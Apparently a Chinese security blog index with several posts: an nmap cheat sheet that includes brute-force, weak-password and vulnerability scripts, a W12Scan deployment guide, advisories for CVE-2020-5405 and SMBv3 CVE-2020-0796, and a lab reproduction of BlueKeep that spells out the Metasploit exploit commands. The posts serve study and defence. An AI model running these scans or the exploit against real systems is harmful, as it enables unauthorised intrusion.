参数速查表参数(注意区分大小写)说明-sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息。-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限。-sF -sN 秘密FIN数据包扫描、Xmas Tree、Null扫描模式-sP ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。-sU UDP扫描,但UDP扫描是不可靠的-sA 这项高级的扫描方法通常用来穿过防火墙的规则集-sV 探测端口服务版本-Pn 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描-v 显示扫描过程,推荐使用-h 帮助选项,是最清楚的帮助文档-p 指定端口,如“1-65535、1433、135、22、80”等-O 启用远程操作系统检测,存在误报-A 全面系统检测、启用脚本检测、扫描等-oN/-oX/-oG 将报告写入文件,分别是正常、XML、grepable 三种格式-T4 针对TCP端口禁止动态扫描延迟超过10ms-iL 读取主机列表,例如,“-iL C:\ip.txt”1、扫描单个目标nmap ip如:nmap 192.168.0.1012、扫描多个目标nmap ip1 ip2 适用于目标地址不再同一个网段或在同一网段不连续且数量不多的情况。如:nmap 192.168.0.101 192.168.0.1103、扫描一个范围内的目标nmap xxx.xxx.xxx.xxx-xxx如:nmap 192.168.0.100-1104、扫描目标地址所在某网段namp xxx.xxx.xxx.xxx/xx如:nmap 192.168.0.1/245、扫描包含主机列表的文件中的所有地址nmap -iL <File path>如:nmap -iL /root/target.txt6、扫描除了一个目标地址之外的所有地址nmap ip段 -exclude 被排除的ip如:nmap 192.168.0.100-110 -exclude 192.168.0.103 nmap 192.168.0.1/24 -exclude 192.168.0.103 7、扫描除了某一个文件中的地址之外的所有地址nmap ip段 -excludefile <file path>如:nmap 192.168.0.100-110 -excludefile /root/targets.txt nmap 192.168.0.1/24 -excludefile /root/targets.txt8、扫描目标地址的指定端口nmap ip -p 端口1,端口2,端口3……如:nmap 192.168.0.101 -p 80,8080,3306,33899、对目标地址进行路由跟踪nmap --traceroute ip如:nmap --traceroute 192.168.0.10110、扫描目标地址C段的在线主机nmap -sP ip段如:nmap -sP 192.168.0.1/2411、扫描目标地址进行操作系统版本nmap -O ip如:nmap -O 192.168.0.10112、扫描目标所开放的全部端口(半开式)nmap -sS -p 端口号-多个用逗号(,)隔开 -v ip如:nmap -sS -p 1-65535 192.168.0.10113、扫描目标地址开放服务(端口)版本nmap -sV ip如:nmap -sV 192.168.0.10114、探测防火墙nmap -sF -T4 ip如:nmap -sF -T4 192.168.0.101 14、绕过防火墙进行全面扫描nmap -Pn -A ip如:nmap -Pn -A 192.168.0.101进阶用法-advancednmap --script=xx 使用某个脚本进行扫描1、弱口令扫描nmap --script=auth ip 对某个主机或某网段主机的应用进行弱口令检测如:nmap --script=auth 192.168.0.1012、暴力破解nmap --script=brute ip 可以对胡句酷、MB、SNMP等进行简单的暴力破解如:nmap --script=brute 192.168.0.1013、扫描常见漏洞nmap --script=vuln ip 如:nmap --script=vuln 192.168.0.1014、使用脚本进行应用服务扫描nmap --script=xxx ip 对常见应用服务进行扫描 如:VNC、MySQL、Telnet、Rync等服务如VNC服务:nmap --script=realvnc-auth-bypass 192.168.0.1015、探测局域网内服务开放情况nmap -n -p xxx --script=broadcast ip如:nmap --script=broadcast 192.168.0.1016、Whois解析nmap -script external url如:nmap -script external baidu.com7、扫描Web敏感目录nmap -p 80 --script=http-enum.nse ipnmap -p 80 --script=http-enum.nse 192.168.0.101多种参数可混合使用
2020年03月13日
68 阅读
0 评论
0 点赞
2020-03-12
linux环境下搭建W12Scan
大半夜的收到群里面几个基佬的“邀请”让我部署一个w12scan的平台,不过,大半夜的,打工是不可能打工的,只能靠睡觉来放松了,还是得隔天早上,起来开工。嗯。。。一群人半夜呼了吾几百次第一步:准备服务器,centos7.6 内存4G cpu 4核第二步:执行优化脚本(必做),优化脚本第三步:安装dockerwhich docker ##检查是否安装docker及寻找地址回显:/usr/bin/which: no docker in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin)很显然我没安装。。。既然没安装:那就安装一波执行yum -y install yum-utils device-mapper-persistent-data lvm2yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo yum makecache fastyum install docker-ce-17.12.0.ce-1.el7.centos.x86_64 -y ##这里提示一下,默认很多走的都是海外的镜像,国内部署可能会慢的要死正常走完上面一步,我们检查一下安装正常了没docker version回显:Client: Version: 17.12.0-ce API version: 1.35 Go version: go1.9.2 Git commit: c97c6d6 Built: Wed Dec 27 20:10:14 2017 OS/Arch: linux/amd64 [root@w12scan-0-177 yum.repos.d]# systemctl start docker [root@w12scan-0-177 yum.repos.d]# which docker /usr/bin/docker [root@w12scan-0-177 yum.repos.d]# docker info Containers: 0 Running: 0 Paused: 0 Stopped: 0 Images: 0 Server Version: 17.12.0-ce Storage Driver: devicemapper Pool Name: docker-8:3-807331917-pool Pool Blocksize: 65.54kB Base Device Size: 10.74GB Backing Filesystem: xfs Udev Sync Supported: true Data file: /dev/loop0 Metadata file: /dev/loop1 Data loop file: /var/lib/docker/devicemapper/devicemapper/data Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata Data Space Used: 11.73MB Data Space Total: 107.4GB Data Space Available: 107.4GB Metadata Space Used: 17.36MB Metadata Space Total: 2.147GB Metadata Space Available: 2.13GB Thin Pool Minimum Free Space: 10.74GB Deferred Removal Enabled: true Deferred Deletion Enabled: true Deferred Deleted Device Count: 0 Library Version: 1.02.149-RHEL7 (2018-07-20) Logging Driver: json-file Cgroup Driver: cgroupfs Plugins: Volume: local Network: bridge host macvlan null overlay Log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog Swarm: inactive Runtimes: runc Default Runtime: runc Init Binary: docker-init containerd version: 89623f28b87a6004d4b785663257362d1658a729 runc version: b2567b37d7b75eb4cf325b77297b140ea686ce8f init version: 949e6fa curity Options: ▽seccomp Profile: default Kernel Version: 3.10.0-957.12.1.el7.x86_64 Operating System: CentOS Linux 7 (Core) OSType: linux Architecture: x86_64 CPUs: 4 Total Memory: 3.858GiB Name: w12scan-0-177 ID: 6V77:LJ6U:QERB:UFXZ:DF2H:PTFQ:YZLA:7M2G:5OKE:UJDH:EIAK:U2MC Docker Root Dir: /var/lib/docker Debug Mode (client): false Debug Mode (server): false Registry: https://index.docker.io/v1/ Labels: Experimental: false Insecure Registries: 127.0.0.0/8 Live Restore Enabled: false那么安装正常,我们执行下一步systemctl enable docker开机自启动docker服务vim /etc/docker/daemon.json ##编辑docker额外源镜像{ "registry-mirrors": [ "https://registry.docker-cn.com" ] }rpm -qa|grep docker检查是否存在docker软件包接下来就是安装w12scan了执行 git clone https://github.com/boy-hack/w12scan可以看到回显:Cloning into 'w12scan'... remote: Enumerating objects: 119, done. remote: Counting objects: 100% (119/119), done. remote: Compressing objects: 100% (80/80), done. remote: Total 3145 (delta 48), reused 80 (delta 29), pack-reused 3026 Receiving objects: 100% (3145/3145), 13.18 MiB | 666.00 KiB/s, done. Resolving deltas: 100% (833/833), done.没安装Git的童鞋可以执行yum install -y git由于W12scan基于docker-compose来运行,务必安装进入目录:cd w12scan/用docker-compose运行docker-compose up -d如果回显-bash: docker-compose: command not found则没安装那么,查询pip是否安装which pip如果回显/usr/bin/which: no pip in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin)则没安装我们运行yum -y install epel-releaseyum -y install python-pip来安装pip安装结束后which pip检查接下来更新一下pippip install --upgrade pip##切记千万别乱更新,国内ecs实测更新可能会导致大面积异常红色错误,国内ecs服务器没事千万别更新。国外的不知道怎么回事,没问题。如果您足够自信能够修好可能造成的异常的话,您可以更新。安装composepip install docker-compose这里有非常重要的一个坑,如果您用的是纯净的系统镜像,那么请务必先运行yum install -y gcc g++ yum install -y python-devel python3 python3-pip python3-devel不然python在造轮子的时候会编译错误又或者找不到文件头都执行完毕后docker-compose -version查看版本如果回显版本就正常了接下来就是运行了输入docker-compose up -d就开始部署环境了最近部署脚本貌似有一些问题 在目录下的Dockerfile里面对镜像安装pip3的脚本似乎有一些问题,这个也是一个巨坑,连站长认识的一个大佬也翻车了。解决方法暂时也未知,后面我会更新一篇文章来探讨这个问题。如果安装成功的话第五步: 运行netstat -lntup如果回显:Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 5377/sshd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 5472/master tcp6 0 0 :::22 :::* LISTEN 5377/sshd tcp6 0 0 ::1:25 :::* LISTEN 5472/master tcp6 0 0 :::8000 :::* LISTEN 8724/docker-proxy则部署成功我们可以直接在浏览器中访问地址:http://127.0.0.1:8000如果您很不巧的无法打开那么您应该调下防火墙了firewall-cmd --remove-forward-port=port=8000:proto=tcp:toport=80 --permanent firewall-cmd --permanent --remove-port=80/tcp firewall-cmd --reload默认账号和密码均为:boyhack当然,公网部署也是可以的,但是你也要小心会不会被FBI Open The Door!参考链接为:https://x.hacking8.com/tag/w12scan //官网https://github.com/w-digital-scanner/w12scanhttps://www.freebuf.com/sectool/202375.htmlhttps://blog.csdn.net/jiangyu1013/article/details/84570872
2020年03月12日
86 阅读
1 评论
0 点赞
2020-03-12
【漏洞预警】Spring Cloud Config 服务远程任意文件读取漏洞(CVE-2020-5405)
漏洞描述Spring Cloud Config一套开源分布式系统配置服务,为分布式环境提供外部配置服务支持。目前漏洞可利用PoC已在互联网上披露,历史上Spring Cloud Config服务器于2019年4月17日曾爆发过任意文件读取漏洞(CVE-2019-3799),详情:http://help.aliyun.com/noticelist/articleid/1000130771.html漏洞评级CVE-2020-5405 高危影响版本2.2.x系列:< 2.2.22.1.x系列:< 2.1.7其他较早版本安全版本2.2.x系列:2.2.2 及以上2.1.x系列:2.1.7 及以上安全建议升级Spring Cloud Config至安全版本,并依据Spring官方文档对应用加固:https://cloud.spring.io/spring-cloud-config/multi/multi__spring_cloud_config_server.html#_security相关链接https://pivotal.io/security/cve-2020-5405
2020年03月12日
97 阅读
0 评论
0 点赞
2020-03-12
【漏洞预警】Windows SMBv3 蠕虫级远程代码执行漏洞(CVE-2020-0796)
漏洞描述针对SMBv3服务器,攻击者可以将特制的数据包发送到SMB服务器来触发漏洞。若要针对SMBv3客户端,攻击者需要配置好一个恶意的SMB服务器,并诱使用户连接该服务器。另据国外安全媒体报道,该漏洞(CVE-2020-0796)具有蠕虫特性。漏洞只影响Windows 10系统和Server 1903、1909系统版本,不影响主流的Windows Server 2008/2012/2016/2019系统,整体风险较低。漏洞评级CVE-2020-0796 高危影响版本Windows Server, version 1909 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based Systems缓解措施针对使用受漏洞影响的Windows系统版本的用户,可使用注册表禁用SMBv3 的compression功能来达到漏洞缓解,命令如下:Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force相关链接https://portal.msrc.microsoft.com/zh-CN/security-guidance/advisory/adv200005https://www.zdnet.com/article/details-about-new-smb-wormable-bug-leak-in-microsoft-patch-tuesday-snafu/https://blog.talosintelligence.com/2020/03/microsoft-patch-tuesday-march-2020.html
2020年03月12日
51 阅读
0 评论
0 点赞
2020-03-12
CVE2019-0708 BlueKeep 漏洞复现
前言:2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了某些旧版本的Windows系统。此漏洞是预身份验证且无需用户交互,这就意味着这个漏洞可以通过网络蠕虫的方式被利用。利用此漏洞的任何恶意软件都可能从被感染的计算机传播到其他易受攻击的计算机,其方式与2017年WannaCry恶意软件的传播方式类似。准备工具:metasploit-framework环境准备: Kali 192.168.75.129 (攻击) Win7 sp1/x64 192.168.75.131 (被攻击)开始复现 :1、为了顺利复现成功,需要将被攻击机的远程桌面设为允许,防火墙也需要关掉。需要注意的一点是,我们的靶机需要开启允许任意版本连接2、启动MSFmsfconsole reload_all use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ##启动0708exp脚本 出现则证明成功导入rb文件3、攻击利用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce ##进入模块 show options ##查询可选项 set rhost 192.168.75.131 ##设置目标 set target 2 ##设置级别 ps一开始设置target 3 vm那个,蓝屏了、设置2就没有问题了 exploit ##启动攻击目标主机出现蓝屏奇怪的是,不管是Windows7 还是Windows Server 2008 Windows Server 2003 蓝屏次数比获取到shell的次数多了不止几倍。修复方案:1. 目前软件厂商微软已经发布了漏洞相应的补丁:https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019- 0708#ID0EWIAC Windows XP 及Windows 2003可以在以下链接下载补丁:https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708 2. 临时解决方案 如暂时无法更新补丁,可以通过在系统上启用网络及身份认证(NLA)以暂时规避该漏洞影响。 在企业外围防火墙阻断TCP端口3389的连接,或对相关服务器做访问来源过滤,只允许可信IP连接。 如无明确的需求,可禁用远程桌面服务。
2020年03月12日
43 阅读
1 评论
0 点赞
1
...
4
5